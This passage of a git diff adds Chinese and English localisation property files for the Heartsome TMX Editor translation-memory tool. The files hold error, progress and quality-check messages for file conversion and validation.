+converter.hstm2tmx.error1=\u6570\u636e\u5e93\u8fde\u63a5\u5931\u8d25\u3002\u8bf7\u786e\u8ba4\u8f93\u5165\u7684\u6570\u636e\u5e93\u8fde\u63a5\u4fe1\u606f\u6b63\u786e\u3001\u4e14\u8be5\u670d\u52a1\u5668\u80fd\u6b63\u5e38\u8bbf\u95ee\u3002 +converter.hstm2tmx.error2=\u6570\u636e\u5e93\u4e2d\u6ca1\u6709\u6570\u636e\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u6709\u6570\u636e\u7684\u6570\u636e\u5e93\u3002 +converter.hstm2tmx.error3=\u5199\u5165 TMX \u6587\u4ef6\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 +converter.hstm2tmx.error4=TMX \u7684\u6e90\u8bed\u8a00\u6216\u76ee\u6807\u8bed\u8a00\u4e0d\u4e00\u81f4\uff0c\u65e0\u6cd5\u8ffd\u52a0\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u8981\u8ffd\u52a0\u7684 TMX \u6587\u4ef6\u6216\u4f7f\u7528\u201c\u521b\u5efa\u65b0\u7684 TMX \u6587\u4ef6\u201d\u65b9\u5f0f\u3002 + +converter.tmx2hstm.error1=\u6570\u636e\u5e93\u8fde\u63a5\u5931\u8d25\u3002\u8bf7\u786e\u8ba4\u8f93\u5165\u7684\u6570\u636e\u5e93\u8fde\u63a5\u4fe1\u606f\u6b63\u786e\u3001\u4e14\u8be5\u670d\u52a1\u5668\u80fd\u6b63\u5e38\u8bbf\u95ee\u3002 +converter.tmx2hstm.error2=\u6570\u636e\u5e93\u9a71\u52a8\u52a0\u8f7d\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome TMX Editor\u3002 +converter.tmx2hstm.error3=\u6570\u636e\u5e93\u8868\u521b\u5efa\u5931\u8d25\u3002\u8bf7\u786e\u8ba4\u4f7f\u7528\u7684\u6570\u636e\u5e93\u7528\u6237\u5177\u6709\u8db3\u591f\u7684\u6743\u9650\u3002 +converter.tmx2hstm.error4=TMX \u6587\u4ef6\u683c\u5f0f\u6709\u9519\u8bef\u3002 +converter.tmx2hstm.error5=\u5411\u6570\u636e\u5e93\u4e2d\u5199\u5165\u6570\u636e\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 + +convert.tmx2tbx.tbxFileNotExit=\u751f\u6210 TBX \u6587\u4ef6\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 +convert.tmx2tbx.writeTbxError=\u5411 TBX \u6587\u4ef6\u4e2d\u5199\u5165\u6570\u636e\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 + +convert.tbx2tmx.parseTbxError=\u89e3\u6790 TBX \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u786e\u8ba4\u6240\u9009\u7684 TBX \u6587\u4ef6\u662f\u5426\u6b63\u786e\uff0c\u6216\u91cd\u65b0\u9009\u62e9\u53e6\u4e00\u4e2a TBX \u6587\u4ef6\u3002\u7136\u540e\u518d\u91cd\u8bd5\u3002 +convert.tbx2tmx.writeTmx.error=\u5411 TMX \u6587\u4ef6\u5199\u5165\u6570\u636e\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 + +converter.tmx2xlsx.writeTmx.error=\u5411 Excel \u6587\u4ef6\u5199\u5165\u6570\u636e\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 +converter.xlsx2tmx.parseExcle.error=\u89e3\u6790 Excel \u6587\u4ef6\u65f6\u51fa\u9519\u3002\u8bf7\u786e\u8ba4\u6240\u9009\u7684 Excel \u6587\u4ef6\u662f\u5426\u6b63\u786e\uff0c\u6216\u9009\u62e9\u53e6\u4e00\u4e2a Excel \u6587\u4ef6\u3002\u7136\u540e\u518d\u91cd\u8bd5\u3002 +converter.xlsx2tmx.writeTmx.error=\u5411 TMX \u6587\u4ef6\u5199\u5165\u6570\u636e\u65f6\u53d1\u751f\u4e86\u9519\u8bef\u3002 +core.dataAccess.filter.data.taskname=\u6b63\u5728\u67e5\u627e\u6570\u636e... + +core.databaseAccess.filter.empty.taskname=\u6b63\u5728\u67e5\u627e\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5... +core.databaseAccess.delete.empty.taskname=\u6b63\u5728\u5220\u9664\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5... + +core.fileAccess.resetfilter.datas.taskname=\u6b63\u5728\u5c06\u66f4\u6539\u5e94\u7528\u5230\u5f53\u524d\u8fc7\u6ee4\u7ed3\u679c +core.fileAccess.begindelete.taskname=\u6b63\u5728\u5904\u7406\u6570\u636e... +core.fileAccess.delete.details.taskname=\u5220\u9664 {0} \u6761\u8bb0\u5f55 +core.fileAccess.delete.empty.tasknmae=\u6b63\u5728\u5220\u9664\u672a\u7ffb\u8bd1\u7684\u6587\u672c\u6bb5... +core.fileAccess.applyChang2AllFile.taskname=\u6b63\u5728\u5c06\u66f4\u6539\u5e94\u7528\u5230\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 +core.fileAccess.filterDupliacteSegment=\u6b63\u5728\u67e5\u8be2\u91cd\u590d\u7684\u6587\u672c... +core.fileAccess.deleteDuplicateSegment=\u6b63\u5728\u5220\u9664\u91cd\u590d\u7684\u6587\u672c... +core.fileAccess.filterSameSrcDiffTgtSegment=\u6b63\u5728\u67e5\u627e\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u884c... +core.fileAccess.deleteSameSrcDiffTgtSegment=\u6b63\u5728\u5220\u9664\u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c\u7684\u884c... + +core.TmxCutomFilterUtil.logger.msg1=[LOG] \u6dfb\u52a0\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.TmxCutomFilterUtil.exception.msg1=\u6dfb\u52a0\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.TmxCutomFilterUtil.logger.msg2=[LOG] \u4fdd\u5b58\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.TmxCutomFilterUtil.exception.msg2=\u4fdd\u5b58\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.TmxCutomFilterUtil.logger.msg3=[LOG] \u4fdd\u5b58\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.TmxCutomFilterUtil.exception.msg3=\u4fdd\u5b58\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.tmxCutomFilterUtil.error.msg=\u83b7\u53d6\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.tmxCutomFilterUtil.error.Logger.msg=[LOG] \u83b7\u53d6\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.tmxCutomFilterUtil.deleteFail.logger=[LOG] \u5220\u9664\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.tmxCutomFilterUtil.deleteFail.msg=\u5220\u9664\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.tmxCutomFilterUtil.modifyFail.logger=[LOG] \u4fee\u6539\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.tmxCutomFilterUtil.modifyFail.msg=\u4fee\u6539\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.tmxCutomFilterUtil.modifyFail.logger1=[LOG] \u65e0\u6cd5\u627e\u5230\u5bf9\u5e94\u7684\u8fc7\u6ee4\u5668\uff0c\u4fee\u6539\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.tmxCutomFilterUtil.modifyFail.msg1=\u65e0\u6cd5\u627e\u5230\u5bf9\u5e94\u7684\u8fc7\u6ee4\u5668\uff0c\u4fee\u6539\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002\u8bf7\u91cd\u65b0\u542f\u52a8\u8f6f\u4ef6\u540e\u91cd\u8bd5\u3002 +core.tmxCutomFilterUtil.error.filterFileWrong=\u5b58\u50a8\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u6761\u4ef6\u7684\u6587\u4ef6\u5df2\u635f\u574f\uff0c\u65e0\u6cd5\u89e3\u6790\u3002\u662f\u5426\u91cd\u65b0\u751f\u6210\uff1f + + +tmxeditor.tmxFileValidator.parseError.encoding = \u68c0\u6d4b\u5230\u6587\u4ef6\u7f16\u7801\u4e3a {0}\uff0c\u5c1d\u8bd5\u8f6c\u6362\u4e3a UTF-8 \u7f16\u7801... +tmxeditor.tmxFileValidator.parseError.msg=TMX \u6587\u4ef6 {0} \u5df2\u635f\u574f\uff0c\u5c1d\u8bd5\u81ea\u52a8\u4fee\u590d... +tmxeditor.tmxFileValidator.autofix=\u81ea\u52a8\u4fee\u590d\uff1a +tmxeditor.tmxFileValidator.autofix.failure=\u672a\u80fd\u6210\u529f\u4fee\u590d\u8be5\u6587\u4ef6\u4e2d\u7684\u6240\u6709\u9519\u8bef\u3002\u8bf7\u624b\u5de5\u4fee\u590d\u6b64\u6587\u4ef6\u3002 +tmxeditor.tmxFileValidator.autofix.success=\u81ea\u52a8\u4fee\u590d\u5b8c\u6210\uff0c\u4fee\u590d\u540e\u6587\u4ef6\u4f4d\u4e8e\uff1a {0} +tmxeditor.tmxFileValidator.autofix.missStart=\u7f3a\u5c11\u5f00\u59cb\u8282\u70b9\uff1a +tmxeditor.tmxFileValidator.autofix.missEnd=\u7f3a\u5c11\u7ed3\u675f\u8282\u70b9\uff1a +tmxeditor.tmxFileValidator.autofix.errorcode= {0} \u8282\u70b9\u4e2d\u4e0d\u5e94\u5b58\u5728\u5b57\u7b26 {1} +tmxeditor.tmxFileValidator.autofix.noencoding=\u672a\u8f6c\u4e49\u5b57\u7b26\uff1a +tmxeditor.tmxFileValidator.autofix.illegal= \u975e\u6cd5\u5b57\u7b26\uff1a +tmxeditor.tmxFileValidator.autofix.unknown= \u8BED\u6CD5\u9519\u8BEF +tmxeditor.tmxFileValidator.standard.msg=\u9a8c\u8bc1 {0} \u6587\u4ef6\u7684\u89c4\u8303\u6027... +tmxeditor.tmxFileValidator.standard.missReqAttr= {0} \u8282\u70b9\u4e2d\u7f3a\u5c11 {1} \u5c5e\u6027 +tmxeditor.tmxFileValidator.standard.errlangcode= \u65e0\u6cd5\u8bc6\u522b\u8bed\u8a00\u4ee3\u7801\uff1a{0} +tmxeditor.tmxFileValidator.info1=\u6587\u6863\uff1a +tmxeditor.tmxFileValidator.notTmxDoc=\u4e0d\u662f TMX \u6587\u6863 +tmxeditor.tmxFileValidator.useDtdValidate=\u6b63\u5728\u6839\u636e DTD \u6267\u884c\u9a8c\u8bc1 ... +tmxeditor.tmxFileValidator.parseTmxTempleFileFaild=TMX \u4e34\u65f6\u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5 +tmxeditor.tmxFileValidator.validingTmxFile=\u6b63\u5728\u9a8c\u8bc1 TMX \u6587\u4ef6\u7684\u5408\u6cd5\u6027... +tmxeditor.tmxFileValidator.repareSrcLang=\r\n\u8b66\u544a\uff1a\u672a\u58f0\u660e\u6e90\u8bed\u8a00\uff0c\u81ea\u52a8\u4fee\u590d\u4e3a *all* +tmxeditor.tmxFileValidator.srcLang=\u6e90\u8bed\u8a00\uff1a{0} +tmxeditor.tmxFileValidator.validatePassed=\u8be5\u6587\u4ef6\u7b26\u5408 TMX \u6807\u51c6\u3002 +tmxeditor.tmxFileValidator.canntFindFile=\u672a\u627e\u5230\u6587\u4ef6 {0} \u7684\u7f13\u5b58 +tmxeditor.tmxFileValidator.tuvLangError=\u9519\u8bef\uff1a \u8282\u70b9\u5305\u542b\u672a\u58f0\u660e\u7684\u8bed\u8a00 +tmxeditor.tmxFileValidator.lacktuLang=\u9519\u8bef\uff1a \u8282\u70b9\u7f3a\u5c11\u8bed\u8a00\u4e3a {0} \u7684 +tmxeditor.tmxFileValidator.error.duplicateElement_type_1=\u9519\u8bef\uff1a \u5143\u7d20\u4e2d\u5c5e\u6027 i \u7684\u503c\u91cd\u590d +tmxeditor.tmxFileValidator.error.duplicateElement_type_2=\u9519\u8bef\uff1a/ \u5143\u7d20\u4e2d\u5c5e\u6027 i \u7684\u503c\u91cd\u590d +tmxeditor.tmxFileValidator.error.elementcountWrong=\u9519\u8bef\uff1a/ \u5143\u7d20\u7684\u6570\u76ee\u4e0d\u6210\u5bf9 +tmxeditor.tmxFileValidator.error.elementNotMacth=\u9519\u8bef\uff1a/ \u5143\u7d20\u6ca1\u6709\u5bf9\u5e94\u7684 / \u5143\u7d20 +tmxeditor.tmxFileValidator.error.WrongLangCode=\u9519\u8bef\uff1a\u8bed\u8a00\u4ee3\u7801 {0} \u65e0\u6548 +tmxeditor.tmxFileValidator.error.wrongdateformat=\u9519\u8bef\uff1a\u65e5\u671f\u683c\u5f0f {0} \u65e0\u6548 +tmxeditor.tmxFileValidator.error.duplicateTuid=\u9519\u8bef\uff1atuid \u5c5e\u6027\u503c {0} \u91cd\u590d + +qa.NumberConsistenceQA.catnotFindNumber = \u5728\u8bd1\u6587\u4e2d\u65e0\u6cd5\u627e\u5230\u6570\u5b57 {0} +qa.NumberConsistenceQA.findExcessNumber = \u5728\u8bd1\u6587\u4e2d\u627e\u5230\u591a\u4f59\u6570\u5b57 {0} +qa.QAConstant.QA_TagConsistenceText = \u6807\u8bb0\u4e00\u81f4\u6027\u68c0\u67e5 +qa.QAConstant.QA_NumberConsistenceText = \u6570\u5b57\u4e00\u81f4\u6027\u68c0\u67e5 +qa.QAConstant.QA_SpaceOfParaCheckText = \u6bb5\u9996/\u6bb5\u672b\u7a7a\u683c +qa.QAConstant.QA_TgtNullText = \u672a\u7ffb\u8bd1 +qa.QAConstant.QA_SrcSameWithTgtText = \u6e90\u6587\u548c\u8bd1\u6587\u76f8\u540c +qa.QAConstant.QA_SrcSameButTgtText = \u6e90\u6587\u76f8\u540c\u3001\u8bd1\u6587\u4e0d\u540c +qa.QAConstant.QA_TgtSameButSrcText = \u8bd1\u6587\u76f8\u540c\u3001\u6e90\u6587\u4e0d\u540c +qa.QAControl.LOGG.qaViewerOpenError = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6253\u5f00\u5931\u8d25\u3002 +qa.QATrigger.job.name = \u54c1\u8d28\u68c0\u67e5 +qa.QATrigger.job.monitor.name = \u54c1\u8d28\u68c0\u67e5... +qa.QATrigger.qaError = [LOG] \u54c1\u8d28\u68c0\u67e5\u5931\u8d25\u3002 +qa.QATrigger.LOGG.getInstanceError = [LOG] \u54c1\u8d28\u68c0\u67e5\u9879 {0} \u5b9e\u4f8b\u521d\u59cb\u5316\u5931\u8d25\u3002 +qa.SpaceOfParaCheckQA.paraFirstLost = \u6bb5\u9996\u7a7a\u683c\uff1a\u8bd1\u6587\u4e22\u5931 {2} \u4e2a +qa.SpaceOfParaCheckQA.paraFirstExcess = \u6bb5\u9996\u7a7a\u683c\uff1a\u8bd1\u6587\u591a\u51fa {2} \u4e2a +qa.SpaceOfParaCheckQA.paraLastLost = \u6bb5\u672b\u7a7a\u683c\uff1a\u8bd1\u6587\u4e22\u5931 {2} \u4e2a +qa.SpaceOfParaCheckQA.paraLastExcess = \u6bb5\u672b\u7a7a\u683c\uff1a\u8bd1\u6587\u591a\u51fa {2} \u4e2a +qa.SrcSameButTgtQA.preLineAnd = \u5f53\u524d\u884c\u4e0e\u7b2c +qa.SrcSameButTgtQA.srcSameButTgt = \ \u884c\uff0c\u6e90\u6587\u76f8\u540c\u4f46\u8bd1\u6587\u4e0d\u540c +qa.SrcSameWithTgtQA.srcSameButTgtTip = \u6e90\u6587\u4e0e\u8bd1\u6587\u76f8\u540c\u3002 +qa.TagConsistenceQA.tagLose = \u8bd1\u6587\u4e22\u5931\u6807\u8bb0\uff1a +qa.TagConsistenceQA.tagExcess = \u8bd1\u6587\u591a\u51fa\u6807\u8bb0\uff1a +qa.TgtNullQA.tgtNullTip = \u8bd1\u6587\u4e3a\u7a7a +qa.TgtSameButSrcQA.preLineAnd = \u5f53\u524d\u884c\u4e0e\u7b2c +qa.TgtSameButSrcQA.tgtSameButSrc = \ \u884c\uff0c\u8bd1\u6587\u76f8\u540c\u4f46\u6e90\u6587\u4e0d\u540c + +# added by robert 2013-12-16 +utils.TmxFilterQueryUtil.LOG.getSrcSameWithTgtTu = [LOG]\u8fc7\u6ee4\u8bd1\u6587\u4e0e\u6e90\u6587\u76f8\u540c\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getSrcSameButTgtTU = [LOG]\u8fc7\u6ee4\u6e90\u6587\u76f8\u540c\u8bd1\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getTgtSameButSrcTU = [LOG]\u8fc7\u6ee4\u8bd1\u6587\u76f8\u540c\u6e90\u6587\u4e0d\u540c\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getDuplicateSrcTU = [LOG]\u8fc7\u6ee4\u91cd\u590d\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getWithNoteSegTU = [LOG]\u8fc7\u6ee4\u5e26\u6279\u6ce8\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getWithGarbleSegTU = [LOG]\u8fc7\u6ee4\u5e26\u4e71\u7801\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 +utils.TmxFilterQueryUtil.LOG.getTgtNullSegTU = [LOG]\u8fc7\u6ee4\u8bd1\u6587\u4e3a\u7a7a\u7684\u6587\u672c\u6bb5\u5b58\u5728\u5f02\u5e38\u3002 \ No newline at end of file diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/message_en.properties b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/message_en.properties new file mode 100644 index 0000000..caeca9c --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/resource/message_en.properties @@ -0,0 +1,152 @@ +tmxdata.TmxFileContainer.parseTmxFileError = An error occurred while parsing the TMX file. \n Please make sure the selected TMX file is correct, or select another TMX file. Then try again. +tmxdata.TmxFileContainer.parseTmxFileEncodingError = The encoding of the file is not supported. \n Please save it as UTF-8 and try again. +tmxdata.TmxFileContainer.parseTmxFileContentError = An error was found in the file. \n Please make sure you have selected the correct file. +tmxdata.TmxFileContainer.parseTmxFileNotFound = The file does not exists. Please re-select a TMX file. +tmxdata.TmxFileContainer.oneLanguageMsg = Failed to open: The selected TMX contains only one language. \n Please select a TMX file with two or more languages. +tmxdata.TmxFileContainer.emptyFileMsg = Failed to open: The selected TMX file is empty. \n Please re-select a non-empty TMX file. +tmxdata.TmxFileContainer.emptyBodyNodeMsg = Failed to open: The element of the selected TMX file is empty. \n Please re-select a non-empty TMX file. +tmxdata.TmxFileContainer.parseLineColmsg = Failed to open: The selected TMX contains invalid character. The invalid character locates in line: {0}, column: {1} \n Please open the TMX with text editor and delete the invalid character, and then try again or select another TMX file. +tmxdata.TmxFileContainer.entityErrorLineColmsg = Failed to open: The selected TMX contains invalid entity character (starts with "&&"). The invalid entity character locates in line: {0}, column: {1} \n Please open the TMX with text editor and delete the invalid entity character, and then try again or select another TMX file. +tmxdata.TmxFileContainer.cantsaveReadOnly = Current file is read-only. \n\n To save changes, please select "File" menu > "Export", then save current filter results to a new TMX file. +tmxdata.TmxDatabaseContainer.loadDbOpError = Failed to find corresponding data services. The installer may be corrupt. Try downloading and installing it again. +tmxdata.TmxDatabaseContainer.connDbrOpError = Failed to connect to the database. +tmxdata.TmxDatabaseContainer.connDbDriverOpError = Unable to connect to the database, loading JDBC database driver failed. The installer is corrupt. Try downloading and installing it again. +Tmxdata.TmxDatabaseContainer.nonHstmMsg = Failed to open: the selected file is not a valid HSTM file. \n Please select a file-based TM (*.hstm) created in Heartsome Translation Studio 8. + +converter.common.appendtmx.diffsrcLang.error=Failed to append for inconsistent source or target language between external data and current TMX file. Please keep them in consistency. +converter.common.appendtmx.wrongTmx = Failed to append: the file to be appended is not a valid TMX file. Please select another TMX file to be appended or create a new TMX file. +converter.common.vaild.langcode.error = The language code of the file is not compliant with standard. Please use standard language code compliant with ISO 639-1 and ISO 3166-1 (e.g. en-US, zh-CN), and then try again. +converter.common.vaild.duplicatelangcode.error=File contains duplicate language codes.Please remove the duplicate language code, and then try again. + +converter.common.monitor.info.start = Parsing the TMX file... +converter.common.monitor.info.readtmx = Processing TMX content... +converter.common.monitor.info.saving = Saving... +converter.common.monitor.info.docx.loadtemplate = Loading template file... + +converter.tmx2docx.template.notfound = Failed to load the template file. Please reinstall Heartsome TMX Editor. +converter.docx2tmx.docx.error = File {0} cannot be parsed, the file may be corrupt. Please re-select the file. +converter.docx2tmx.docx.invaild = No language code is detected in the file, please choose a valid file. +converter.docx2tmx.docx.parsedocx = Reading the file... +converter.docx2tmx.docx.readdocx = Processing the file contents... +converter.docx2tmx.docx.testappend = Checking validity of appending TMX file ... + +converter.hstm2tmx.error1=Failed to open the selected Heartsome file-based TM file. \n Please make sure the HSTM file is exist and can be read. +converter.hstm2tmx.error2=There is no data in the selected Heartsome file-based TM file. \n Please re-select a HSTM file containing data. +converter.hstm2tmx.error3=An error occurred while writing to the TMX file. +converter.hstm2tmx.error4=Failed to append: source or target language is inconsistent between the HSTM and TMX file. \n Please select another TMX file to be appended, or create a new TMX file. + +converter.tmx2hstm.error1=Failed to open the selected Heartsome file-based TM file. \n Please make sure the HSTM file is exist and can be read&write. +converter.tmx2hstm.error2=Failed to load HSTM database driver. \n Please reinstall Heartsome TMX Editor. +converter.tmx2hstm.error3=Failed to create database table. \n Please make sure you have write permission to the HSTM file. +converter.tmx2hstm.error4=TMX file format error. \n Please select a valid TMX file and then retry. +converter.tmx2hstm.error5=An error occurred while writing data to the database. + +convert.tmx2tbx.tbxFileNotExit=An error occurred while generating the TBX files. +convert.tmx2tbx.writeTbxError=An error occurred while writing data to the TBX file. + +convert.tbx2tmx.parseTbxError=An error occurred while parsing the TBX file. \n Please make sure the selected TBX file is correct, or select another TBX file. Then try again. +convert.tbx2tmx.writeTmx.error=An error occurred while writing data to the TMX file. + +converter.tmx2xlsx.writeTmx.error=An error occured while writing data to the Excel file. +converter.xlsx2tmx.parseExcle.error=An error occurred while parsing the Excel file. \n Please make sure you select the correct Excel file, or select another Excel file. Then try again. +converter.xlsx2tmx.writeTmx.error=An error occurred while writing data to TMX file. +core.dataAccess.filter.data.taskname=Querying data... + +core.databaseAccess.filter.empty.taskname=Looking for untranslated segments... +core.databaseAccess.delete.empty.taskname=Deleting untranslated segments... + +core.fileAccess.resetfilter.datas.taskname=Applying changes to the current filter results... +core.fileAccess.begindelete.taskname=Processing data... +core.fileAccess.delete.details.taskname=Delete {0} records? +core.fileAccess.delete.empty.tasknmae=Deleting untranslated segments... +core.fileAccess.applyChang2AllFile.taskname=Applying changes to the entire file/TM... +core.fileAccess.filterDupliacteSegment=Querying repetitions... +core.fileAccess.deleteDuplicateSegment=Deleting repetitions... +core.fileAccess.filterSameSrcDiffTgtSegment=Looking for same source with different translations +core.fileAccess.deleteSameSrcDiffTgtSegment=Deleting same source with different translations + +core.TmxCutomFilterUtil.logger.msg1=[LOG] \u6dfb\u52a0\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.TmxCutomFilterUtil.exception.msg1=Failed to add custom filter. Please restart the software and try again. +core.TmxCutomFilterUtil.logger.msg2=[LOG] \u4fdd\u5b58\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.TmxCutomFilterUtil.exception.msg2=Failed to save custom filter. Please restart the software and try again. +core.TmxCutomFilterUtil.logger.msg3=[LOG] \u4fdd\u5b58\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.TmxCutomFilterUtil.exception.msg3=Failed to save custom filter. Please restart the software and try again. +core.tmxCutomFilterUtil.error.msg=Failed to retrieve custom filter. Please restart the software and try again. +core.tmxCutomFilterUtil.error.Logger.msg=[LOG] \u83b7\u53d6\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.tmxCutomFilterUtil.deleteFail.logger=[LOG] \u5220\u9664\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.tmxCutomFilterUtil.deleteFail.msg=Failed to delete custom filter. Please restart the software and try again. +core.tmxCutomFilterUtil.modifyFail.logger=[LOG] \u4fee\u6539\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.tmxCutomFilterUtil.modifyFail.msg=Failed to modify custom filter. Please restart the software and try again. +core.tmxCutomFilterUtil.modifyFail.logger1=[LOG] \u65e0\u6cd5\u627e\u5230\u5bf9\u5e94\u7684\u8fc7\u6ee4\u5668\uff0c\u4fee\u6539\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u5668\u5931\u8d25\u3002 +core.tmxCutomFilterUtil.modifyFail.msg1=Cannot locate corresponding filter. Failed to modify custom filter. Please restart the software and try again. +core.tmxCutomFilterUtil.error.filterFileWrong=The file used to store the custom filter is corrupt and cannot be parsed. Do you want to create a new one? + + +tmxeditor.tmxFileValidator.parseError.encoding = The file encoding is {0}. Attempting to convert to UTF-8 encoding... +tmxeditor.tmxFileValidator.parseError.msg=TMX file {0} is corrupt. Attempting to fix it... +tmxeditor.tmxFileValidator.autofix=Auto Repair: +tmxeditor.tmxFileValidator.autofix.failure=Failed to repair all errors in the file. Please repair the file manually. +tmxeditor.tmxFileValidator.autofix.success=Auto repair is complete. The repaired file can be found here: {0} +tmxeditor.tmxFileValidator.autofix.missStart=Missing a start node: +tmxeditor.tmxFileValidator.autofix.missEnd=Missing an end node: +tmxeditor.tmxFileValidator.autofix.errorcode= {0} node should not contain character {1} +tmxeditor.tmxFileValidator.autofix.noencoding=Unescaped characters: +tmxeditor.tmxFileValidator.autofix.illegal= Illegal characters: +tmxeditor.tmxFileValidator.autofix.unknown= Syntax error +tmxeditor.tmxFileValidator.standard.msg=Checking validity of file {0}... +tmxeditor.tmxFileValidator.standard.missReqAttr= Attribute {1} is missing in node {0} +tmxeditor.tmxFileValidator.standard.errlangcode= Cannot recognize language code: {0} +tmxeditor.tmxFileValidator.info1=File: +tmxeditor.tmxFileValidator.notTmxDoc=is not a TMX document +tmxeditor.tmxFileValidator.useDtdValidate=Verifying files against the DTD... +tmxeditor.tmxFileValidator.parseTmxTempleFileFaild=Failed to parse temporary file {0}. Please try again. +tmxeditor.tmxFileValidator.validingTmxFile=Checking validity of TMX file... +tmxeditor.tmxFileValidator.repareSrcLang=\r\nWarning: Undeclared source language. It will be fixed to *all*. +tmxeditor.tmxFileValidator.srcLang=Source language: {0} +tmxeditor.tmxFileValidator.validatePassed=The file is consistent with the TMX standard. +tmxeditor.tmxFileValidator.canntFindFile=File {0} was not found in cache +tmxeditor.tmxFileValidator.tuvLangError=Error: node contains undeclared language +tmxeditor.tmxFileValidator.lacktuLang=Error: node lacks of for language {0}. +tmxeditor.tmxFileValidator.error.duplicateElement_type_1=Error: The value of property i for element is repeated +tmxeditor.tmxFileValidator.error.duplicateElement_type_2=Error: The value of property i for / element is repeated +tmxeditor.tmxFileValidator.error.elementcountWrong=Error: Unpaired number of / elements +tmxeditor.tmxFileValidator.error.elementNotMacth=Error: There is no corresponding / element for / +tmxeditor.tmxFileValidator.error.WrongLangCode=Error: Language code {0} is invalid +tmxeditor.tmxFileValidator.error.wrongdateformat=Error: Date format {0} is invalid +tmxeditor.tmxFileValidator.error.duplicateTuid=Error: Property values {0} for tuid are repeated + +qa.NumberConsistenceQA.catnotFindNumber = Numbers {0} not found in target +qa.NumberConsistenceQA.findExcessNumber = Extra numeral {0} found in source +qa.QAConstant.QA_TagConsistenceText = Tag consistency +qa.QAConstant.QA_NumberConsistenceText = Numeral consistency +qa.QAConstant.QA_SpaceOfParaCheckText = Leading/trailing spaces +qa.QAConstant.QA_TgtNullText = Untranslated +qa.QAConstant.QA_SrcSameWithTgtText = Target same as source +qa.QAConstant.QA_SrcSameButTgtText = Inconsistency in target +qa.QAConstant.QA_TgtSameButSrcText = Inconsistency in source +qa.QAControl.LOGG.qaViewerOpenError = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6253\u5f00\u5931\u8d25\u3002 